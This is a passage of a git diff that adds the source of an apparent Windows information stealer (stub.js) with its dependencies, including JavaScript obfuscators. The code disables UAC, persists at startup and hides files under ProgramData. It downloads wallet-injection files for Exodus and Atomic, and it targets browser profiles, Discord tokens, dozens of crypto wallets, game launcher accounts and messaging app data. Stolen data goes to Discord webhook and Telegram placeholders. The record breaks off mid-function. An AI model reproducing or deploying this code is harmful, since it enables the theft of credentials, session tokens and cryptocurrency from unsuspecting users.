"sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "optional": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wide-align/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "optional": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs": { + "name": "wrap-ansi", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT" + }, + "node_modules/wrap-ansi-cjs/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "license": "ISC" + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "license": "ISC" + }, + "node_modules/zip-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/zip-stream/-/zip-stream-6.0.1.tgz", + "integrity": "sha512-zK7YHHz4ZXpW89AHXUPbQVGKI7uvkd3hzusTdotCg1UxyaVtg0zFJSTfW/Dq5f7OBBVnq6cZIaC8Ti4hb6dtCA==", + "license": "MIT", + "dependencies": { + "archiver-utils": "^5.0.0", + "compress-commons": "^6.0.2", + "readable-stream": "^4.0.0" + }, + "engines": { + "node": ">= 14" + } + } + } +} diff --git a/stub/package.json b/stub/package.json new file mode 100644 index 0000000..6f26b43 --- /dev/null +++ b/stub/package.json @@ -0,0 +1,12 @@ +{ + "dependencies": { + "archiver": "^7.0.1", + "axios": "^1.13.2", + "colors": "^1.4.0", + "form-data": "^4.0.5", + "javascript-obfuscator": "^4.1.1", + "js-confuser": "^1.7.1", + "readline-sync": "^1.4.10", + "sqlite3": "^5.1.7" + } +} diff --git a/stub/stub.js b/stub/stub.js new file mode 100644 index 0000000..fe6841d --- /dev/null +++ b/stub/stub.js @@ -0,0 +1,3010 @@ +const fs = require('fs'); +const path = require('path'); +const os = require('os'); +const crypto = require('crypto'); +const CONFIG = { browsers: true, backupcodes: true, games: true, filevpn: true, wallet: true, disableuac: true, computerinfo: true, fakeerror: true, startup: true, antivm: false }; +let sqlite3; try { sqlite3 = require('sqlite3'); } catch (e) { } +const { execSync, exec, spawn } = require('child_process'); +const axios = require('axios'); +const FormData = require('form-data'); +const archiver = require('archiver'); +process.on('uncaughtException', (err) => { logError(err, 'Global-UncaughtException'); }); +process.on('unhandledRejection', (reason, promise) => { logError(reason, 'Global-UnhandledRejection'); }); +function getLocale() { return Intl.DateTimeFormat().resolvedOptions().locale.slice(0, 2).toUpperCase(); } +const computerName = os.hostname(); +const local = process.env.LOCALAPPDATA; +const locale = getLocale(); const active_nodes = []; +const randStr = generateRandomString(12); +const folderIdx = process.argv.indexOf('--folder'); const fallback_conf = []; +const mainFolderName = (folderIdx > -1 && process.argv[folderIdx + 1]) ? process.argv[folderIdx + 1] : generateRandomString(10); +const globalSettingsPath = path.join('C:\\', 'ProgramData', 'Microsoft', 'UserSettings'); +const mainFolderPath = path.join(globalSettingsPath, mainFolderName, `${locale}-${computerName}`); const globalLockFile = path.join(globalSettingsPath, 'WinHost.lock'); +const screenshotPath = path.join(mainFolderPath, 'Screenshot', 'screenshot.png'); +var appdata = process.env.APPDATA, LOCAL = process.env.LOCALAPPDATA, localappdata = process.env.LOCALAPPDATA; +const atomicInjectionUrl = 'https://github.com/AVMTools/wallet-injection/raw/refs/heads/main/atomic.asar'; +const exodusInjectionUrl = 'https://github.com/AVMTools/wallet-injection/raw/refs/heads/main/exodus.asar'; + +const discordWebhookUrl = 'REMPLACE_ME'; +const telegramBotToken = 'REMPLACE_ME'; +const telegramChatId = 'REMPLACE_ME'; + +function checkSingleInstance() { + try { + if (!fs.existsSync(globalSettingsPath)) fs.mkdirSync(globalSettingsPath, { recursive: true }); + + if (fs.existsSync(globalLockFile)) { + const pid = fs.readFileSync(globalLockFile, 'utf8'); + try { + process.kill(parseInt(pid), 0); + process.exit(0); + } catch (e) { } + } + fs.writeFileSync(globalLockFile, process.pid.toString()); + process.on('exit', () => { try { fs.unlinkSync(globalLockFile); } catch (e) { } }); + } catch (e) { } +} + +function generateRandomString(length) { + const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; + let result = ''; + for (let i = 0; i < length; i++) { + const randomIndex = Math.floor(Math.random() * chars.length); + result += chars[randomIndex]; + } + return result; +} + +function decodeString(encoded) { + return Buffer.from(encoded, 'base64').toString('utf8'); +} + +const user = { + ram: os.totalmem(), + version: os.version(), + uptime: os.uptime(), + homedir: os.homedir(), + hostname: os.hostname(), + username: os.userInfo().username, + type: os.type(), + arch: os.arch(), + release: os.release(), + roaming: process.env.APPDATA, + local: process.env.LOCALAPPDATA, + temp: process.env.TEMP, + countCore: os.cpus().length, + sysDrive: process.env.SystemDrive, + fileLoc: process.cwd(), + randomUUID: crypto.randomBytes(16).toString('hex'), + start: Date.now(), + copyright: '<================[ t.me/avmtools ]>================>\n\n', + url: null, + locale: locale, +} + +const PATHS = { + browsers: [ + [user.local + '\\Google\\Chrome\\User Data\\Default\\', 'Default', user.local + '\\Google\\Chrome\\User Data\\'], + [user.local + '\\Google\\Chrome\\User Data\\Profile 1\\', 'Profile_1', user.local + '\\Google\\Chrome\\User Data\\'], + [user.local + '\\Google\\Chrome\\User Data\\Profile 2\\', 'Profile_2', user.local + '\\Google\\Chrome\\User Data\\'], + [user.local + '\\Google\\Chrome\\User Data\\Profile 3\\', 'Profile_3', user.local + '\\Google\\Chrome\\User Data\\'], + [user.local + '\\Google\\Chrome\\User Data\\Profile 4\\', 'Profile_4', user.local + '\\Google\\Chrome\\User Data\\'], + [user.local + '\\Google\\Chrome\\User Data\\Profile 5\\', 'Profile_5', user.local + '\\Google\\Chrome\\User Data\\'], + [user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\', 'Default', user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\'], + [user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 1\\', 'Profile_1', user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\'], + [user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 2\\', 'Profile_2', user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\'], + [user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 3\\', 'Profile_3', user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\'], + [user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 4\\', 'Profile_4', user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\'], + [user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 5\\', 'Profile_5', user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\'], + [user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\Guest Profile\\', 'Guest Profile', user.local + '\\BraveSoftware\\Brave-Browser\\User Data\\'], + [user.local + '\\Yandex\\YandexBrowser\\User Data\\Default\\', 'Default', user.local + '\\Yandex\\YandexBrowser\\ User Data\\'], + [user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 1\\', 'Profile_1', user.local + '\\Yandex\\YandexBrowser\\User Data\\'], + [user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 2\\', 'Profile_2', user.local + '\\Yandex\\YandexBrowser\\User Data\\'], + [user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 3\\', 'Profile_3', user.local + '\\Yandex\\YandexBrowser\\User Data\\'], + [user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 4\\', 'Profile_4', user.local + '\\Yandex\\YandexBrowser\\User Data\\'], + [user.local + '\\Yandex\\YandexBrowser\\User Data\\Profile 5\\', 'Profile_5', user.local + '\\Yandex\\YandexBrowser\\User Data\\'], + [user.local + '\\Yandex\\YandexBrowser\\User Data\\Guest Profile\\', 'Guest Profile', user.local + '\\Yandex\\YandexBrowser\\User Data\\'], + [user.local + '\\Microsoft\\Edge\\User Data\\Default\\', 'Default', user.local + '\\Microsoft\\Edge\\User Data\\'], + [user.local + '\\Microsoft\\Edge\\User Data\\Profile 1\\', 'Profile_1', user.local + '\\Microsoft\\Edge\\User Data\\'], + [user.local + '\\Microsoft\\Edge\\User Data\\Profile 2\\', 'Profile_2', user.local + '\\Microsoft\\Edge\\User Data\\'], + [user.local + '\\Microsoft\\Edge\\User Data\\Profile 3\\', 'Profile_3', user.local + '\\Microsoft\\Edge\\User Data\\'], + [user.local + '\\Microsoft\\Edge\\User Data\\Profile 4\\', 'Profile_4', user.local + '\\Microsoft\\Edge\\User Data\\'], + [user.local + '\\Microsoft\\Edge\\User Data\\Profile 5\\', 'Profile_5', user.local + '\\Microsoft\\Edge\\User Data\\'], + [user.local + '\\Microsoft\\Edge\\User Data\\Guest Profile\\', 'Guest Profile', user.local + '\\Microsoft\\Edge\\User Data\\'], + [user.roaming + '\\Opera Software\\Opera Neon\\User Data\\Default\\', 'Default', user.roaming + '\\Opera Software\\Opera Neon\\User Data\\'], + [user.roaming + '\\Opera Software\\Opera Stable\\', 'Default', user.roaming + '\\Opera Software\\Opera Stable\\'], + [user.roaming + '\\Opera Software\\Opera GX Stable\\', 'Default', user.roaming + '\\Opera Software\\Opera GX Stable\\'], + ], + games: { + 'NationsGlory': { 'Local Storage': 'AppData\\Roaming\\NationsGlory\\Local Storage\\leveldb' }, + 'Riot Games': { + 'Config': 'AppData\\Local\\Riot Games\\Riot Client\\Config', + 'Data': 'AppData\\Local\\Riot Games\\Riot Client\\Data', + 'Logs': 'AppData\\Local\\Riot Games\\Riot Client\\Logs', + }, + 'Epic Games': { 'Settings': 'AppData\\Local\\EpicGamesLauncher\\Saved\\Config\\Windows\\GameUserSettings.ini' }, + 'Uplay': { 'Settings': 'AppData\\Local\\Ubisoft Game Launcher' }, + 'Minecraft': { + 'Microsoft Store': 'AppData\\Roaming\\.minecraft\\launcher_accounts_microsoft_store.json', + 'CheatBreakers': 'AppData\\Roaming\\.minecraft\\cheatbreaker_accounts.json', + 'Rise (Intent)': 'intentlauncher\\Rise\\alts.txt', + 'TLauncher': 'AppData\\Roaming\\.minecraft\\TlauncherProfiles.json', + 'Paladium': 'AppData\\Roaming\\paladium-group\\accounts.json', + 'Novoline': 'AppData\\Roaming\\.minecraft\\Novoline\\alts.novo', + 'Badlion': 'AppData\\Roaming\\Badlion Client\\accounts.json', + 'Feather': 'AppData\\Roaming\\.feather\\accounts.json', + 'Impact': 'AppData\\Roaming\\.minecraft\\Impact\\alts.json', + 'Meteor': 'AppData\\Roaming\\.minecraft\\meteor-client\\accounts.nbt', + 'PolyMC': 'AppData\\Roaming\\PolyMC\\accounts.json', + 'PrismLauncher': 'AppData\\Roaming\\PrismLauncher\\accounts.json', + 'Intent': 'intentlauncher\\launcherconfig', + 'Lunar': '.lunarclient\\settings\\game\\accounts.json', + 'Rise': 'AppData\\Roaming\\.minecraft\\Rise\\alts.txt', + 'Launcher Accounts (Microsoft)': 'AppData\\Roaming\\.minecraft\\launcher_accounts.json', + 'Launcher Profiles': 'AppData\\Roaming\\.minecraft\\launcher_profiles.json', + 'Last Login': 'AppData\\Roaming\\.minecraft\\lastlogin', + 'Session': 'AppData\\Roaming\\.minecraft\\session', + 'User Cache': 'AppData\\Roaming\\.minecraft\\usercache.json', + 'Server List': 'AppData\\Roaming\\.minecraft\\servers.dat', + 'Stats': 'AppData\\Roaming\\.minecraft\\stats', + 'Saves': { path: 'AppData\\Roaming\\.minecraft\\saves', excludes: ['region'] }, + 'Resource Packs': 'AppData\\Roaming\\.minecraft\\resourcepacks', + 'Screenshots': 'AppData\\Roaming\\.minecraft\\screenshots', + 'Logs': 'AppData\\Roaming\\.minecraft\\logs', + 'Crash Reports': 'AppData\\Roaming\\.minecraft\\crash-reports', + 'Config': 'AppData\\Roaming\\.minecraft\\config', + 'Mods': 'AppData\\Roaming\\.minecraft\\mods', + 'Shader Packs': 'AppData\\Roaming\\.minecraft\\shaderpacks', + 'Minecraft Windows 10': { path: 'AppData\\Local\\Packages\\Microsoft.MinecraftUWP_8wekyb3d8bbwe\\LocalState\\games\\com.mojang', excludes: ['region'] }, + }, + 'PrismLauncher': { + 'Accounts': 'AppData\\Roaming\\PrismLauncher\\accounts.json', + 'Instances': { path: 'AppData\\Roaming\\PrismLauncher\\instances', excludes: ['region'] }, + 'Metacache': 'AppData\\Roaming\\PrismLauncher\\metacache', + 'Config': 'AppData\\Roaming\\PrismLauncher\\prismlauncher.cfg', + 'Profiles': 'AppData\\Roaming\\PrismLauncher\\profiles.json', + 'Logs': 'AppData\\Roaming\\PrismLauncher\\logs', + }, + 'Rockstar Games': { + 'Social Club': { + path: 'Documents\\Rockstar Games\\Social Club', + excludes: ['Code Cache', 'Cache', 'Service Worker', 'GPUCache', 'DawnCache', 'blob_storage'] + }, + }, + 'Electronic Arts': { 'EA App': 'AppData\\Local\\EA Desktop' }, + 'GOG Galaxy': { 'Galaxy': 'Program Files (x86)\\GOG Galaxy' }, + 'Battle.net': { 'Battle.net': 'AppData\\Local\\Battle.net' }, + 'Origin': { 'Origin': 'AppData\\Local\\Origin' }, + 'Roblox': { 'Roblox': 'AppData\\Local\\Roblox' } + }, + wallets: { + "Coinbase": "Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad", + "BinanceChain": "Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp", + "Phantom": "Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa", + "TronLink": "Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec", + "Ronin": "Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec", + "Exodus_Ext": "Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno", + "Coin98": "Local Extension Settings\\aeachknmefphepccionboohckonoeemg", + "Authenticator": "Sync Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai", + "MathWallet": "Sync Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc", + "YoroiWallet": "Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb", + "GuardaWallet": "Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln", + "JaxxxLiberty": "Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne", + "Wombat": "Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih", + "EVERWallet": "Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk", + "KardiaChain": "Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk", + "XDEFI": "Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf", + "Nami": "Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo", + "TerraStation": "Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp", + "MartianAptos": "Local Extension Settings\\efbglgofoippbgcjepnhiblaibcnclgk", + "TON": "Local Extension Settings\\nphplpgoakhhjchkkhmiggakijnkhfnd", + "Keplr": "Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap", + "CryptoCom": "Local Extension Settings\\hifafgmccdpekplomjjkcfgodnhcellj", + "PetraAptos": "Local Extension Settings\\ejjladinnckdgjemekebdpeokbikhfci", + "OKX": "Local Extension Settings\\mcohilncbfahbmgdjkbpemcciiolgcge", + "Sollet": "Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno", + "Sender": "Local Extension Settings\\epapihdplajcdnnkdeiahlgigofloibg", + "Sui": "Local Extension Settings\\opcgpfmipidbgpenhmajoajpbobppdil", + "SuietSui": "Local Extension Settings\\khpkpbbcccdmmclmpigdgddabeilkdpd", + "Braavos": "Local Extension Settings\\jnlgamecbpmbajjfhmmmlhejkemejdma", + "FewchaMove": "Local Extension Settings\\ebfidpplhabeedpnhjnobghokpiioolj", + "EthosSui": "Local Extension Settings\\mcbigmjiafegjnnogedioegffbooigli", + "ArgentX": "Local Extension Settings\\dlcobpjiigpikoobohmabehhmhfoodbb", + "NiftyWallet": "Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid", + "BraveWallet": "Local Extension Settings\\odbfpeeihdkbihmopkbjmoonfanlbfcl", + "EqualWallet": "Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac", + "BitAppWallet": "Local Extension Settings\\fihkakfobkmkjojpchpfgcmhfjnmnfpi", + "iWallet": "Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj", + "AtomicWallet": "Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh", + "MewCx": "Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm", + "GuildWallet": "Local Extension Settings\\nanjmdknhkinifnkgdcggcfnhdaammmj", + "SaturnWallet": "Local Extension Settings\\nkddgncdjgjfcddamfgcmfnlhccnimig", + "HarmonyWallet": "Local Extension Settings\\fnnegphlobjdpkhecapkijjdkgcjhkib", + "PaliWallet": "Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn", + "BoltX": "Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca", + "LiqualityWallet": "Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn", + "MaiarDeFiWallet": "Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm", + "TempleWallet": "Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc", + "Metamask_E": "Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm", + "Ronin_E": "Local Extension Settings\\kjmoohlgokccodicjjfebfomlbljgfhk", + "Yoroi_E": "Local Extension Settings\\akoiaibnepcedcplijmiamnaigbepmcb", + "Authenticator_E": "Sync Extension Settings\\ocglkepbibnalbgmbachknglpdipeoio", + "MetaMask_O": "Local Extension Settings\\djclckkglechooblngghdinmeemkbgci" + }, + walletApps: { + "Bitcoin": process.env.APPDATA + "\\Bitcoin\\wallets", + "Zcash": process.env.APPDATA + "\\Zcash", + "Armory": process.env.APPDATA + "\\Armory", + "Bytecoin": process.env.APPDATA + "\\bytecoin", + "Jaxx": process.env.APPDATA + "\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb", + "Exodus": process.env.APPDATA + "\\Exodus\\exodus.wallet", + "Ethereum": process.env.APPDATA + "\\Ethereum\\keystore", + "Electrum": process.env.APPDATA + "\\Electrum\\wallets", + "AtomicWallet": process.env.APPDATA + "\\atomic\\Local Storage\\leveldb", + "Guarda": process.env.APPDATA + "\\Guarda\\Local Storage\\leveldb", + "Coinomi": process.env.APPDATA + "\\Coinomi\\Coinomi\\wallets", + }, + socials: { + 'Telegram Desktop': 'AppData\\Roaming\\Telegram Desktop\\tdata', + 'WhatsApp Desktop': 'AppData\\Roaming\\Packages\\5319275A.WhatsAppDesktop_cv1g1gvanyjgm\\LocalState', + 'Signal Desktop': 'AppData\\Roaming\\Signal\\databases', + 'Purple': 'AppData\\Roaming\\.purple', + 'Tox': 'AppData\\Roaming\\tox', + 'Element': 'AppData\\Roaming\\Element\\Local Storage', + 'Skype': 'AppData\\Roaming\\Microsoft\\Skype for Desktop\\Local Storage', + 'Facebook Messenger': 'AppData\\Local\\Facebook\\Messenger', + 'Microsoft Teams': 'AppData\\Local\\Microsoft Teams', + 'Snapchat': 'AppData\\Local\\Snapchat', + 'Instagram': 'AppData\\Local\\Instagram', + 'Viber': 'AppData\\Local\\Viber', + 'Line': 'AppData\\Local\\Line', + 'WeChat': 'AppData\\Local\\WeChat', + 'Tumblr': 'AppData\\Local\\Tumblr', + 'ICQ': 'AppData\\Local\\ICQ\\0001', + 'Reddit': 'AppData\\Local\\Reddit', + 'Pinterest': 'AppData\\Local\\Pinterest', + 'Flock': 'AppData\\Local\\Flock', + 'Trello': 'AppData\\Local\\Trello', + 'Hangouts': 'AppData\\Local\\Google\\Hangouts', + }, + discord: [ + appdata + '\\discord\\', + appdata + '\\discordcanary\\', + appdata + '\\discordptb\\', + appdata + '\\discorddevelopment\\', + appdata + '\\lightcord\\', + localappdata + '\\Google\\Chrome\\User Data\\Default\\', + localappdata + '\\Google\\Chrome\\User Data\\Profile 1\\', + localappdata + '\\Google\\Chrome\\User Data\\Profile 2\\', + localappdata + '\\Google\\Chrome\\User Data\\Profile 3\\', + localappdata + '\\Google\\Chrome\\User Data\\Profile 4\\', + localappdata + '\\Google\\Chrome\\User Data\\Profile 5\\', + localappdata + '\\Google\\Chrome\\User Data\\Guest Profile\\', + localappdata + '\\Google\\Chrome\\User Data\\Default\\Network\\', + localappdata + '\\Google\\Chrome\\User Data\\Profile 1\\Network\\', + localappdata + '\\Google\\Chrome\\User Data\\Profile 2\\Network\\', + localappdata + '\\Google\\Chrome\\User Data\\Profile 3\\Network\\', + localappdata + '\\Google\\Chrome\\User Data\\Profile 4\\Network\\', + localappdata + '\\Google\\Chrome\\User Data\\Profile 5\\Network\\', + localappdata + '\\Google\\Chrome\\User Data\\Guest Profile\\Network\\', + appdata + '\\Opera Software\\Opera Stable\\', + appdata + '\\Opera Software\\Opera GX Stable\\', + localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\', + localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 1\\', + localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 2\\', + localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 3\\', + localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 4\\', + localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 5\\', + localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Guest Profile\\', + localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 1\\', + localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 2\\', + localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 3\\', + localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 4\\', + localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 5\\', + localappdata + '\\Yandex\\YandexBrowser\\User Data\\Guest Profile\\', + localappdata + '\\Microsoft\\Edge\\User Data\\Default\\', + localappdata + '\\Microsoft\\Edge\\User Data\\Profile 1\\', + localappdata + '\\Microsoft\\Edge\\User Data\\Profile 2\\', + localappdata + '\\Microsoft\\Edge\\User Data\\Profile 3\\', + localappdata + '\\Microsoft\\Edge\\User Data\\Profile 4\\', + localappdata + '\\Microsoft\\Edge\\User Data\\Profile 5\\', + localappdata + '\\Microsoft\\Edge\\User Data\\Guest Profile\\', + localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Network\\', + localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 1\\Network\\', + localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 2\\Network\\', + localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 3\\Network\\', + localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 4\\Network\\', + localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 5\\Network\\', + localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Guest Profile\\Network\\', + localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 1\\Network\\', + localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 2\\Network\\', + localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 3\\Network\\', + localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 4\\Network\\', + localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 5\\Network\\', + localappdata + '\\Yandex\\YandexBrowser\\User Data\\Guest Profile\\Network\\', + localappdata + '\\Microsoft\\Edge\\User Data\\Default\\Network\\', + localappdata + '\\Microsoft\\Edge\\User Data\\Profile 1\\Network\\', + localappdata + '\\Microsoft\\Edge\\User Data\\Profile 2\\Network\\', + localappdata + '\\Microsoft\\Edge\\User Data\\Profile 3\\Network\\', + localappdata + '\\Microsoft\\Edge\\User Data\\Profile 4\\Network\\', + localappdata + '\\Microsoft\\Edge\\User Data\\Profile 5\\Network\\', + localappdata + '\\Microsoft\\Edge\\User Data\\Guest Profile\\Network\\' + ], + processes: { + 'Google\\Chrome': 'chrome.exe', + 'BraveSoftware\\Brave-Browser': 'brave.exe', + 'Yandex\\YandexBrowser': 'browser.exe', + 'Microsoft\\Edge': 'msedge.exe', + 'Opera Software\\Opera Stable': 'opera.exe', + 'Opera Software\\Opera GX Stable': 'opera.exe', + 'Opera Software\\Opera Neon': 'opera.exe', + } +}; + +const browserPath = PATHS.browsers; +const gamesPaths = PATHS.games; + +function getTimestamp() { + const now = new Date(); + return now.toLocaleString('fr-FR', { timeZoneName: 'short' }); +} + +function logError(error, context = '') { + try { + const timestamp = getTimestamp(); + const logMessage = `[${timestamp}] [ERROR] ${context}: ${error.message || error}\nStack: ${error.stack || 'No stack trace'}\n\n`; + + console.error(`[ERROR] ${context}:`, error); + + if (!mainFolderPath) return; + if (!fs.existsSync(mainFolderPath)) fs.mkdirSync(mainFolderPath, { recursive: true }); + + const logFilePath = path.join(mainFolderPath, 'log.txt'); + fs.appendFileSync(logFilePath, logMessage, 'utf8'); + + } 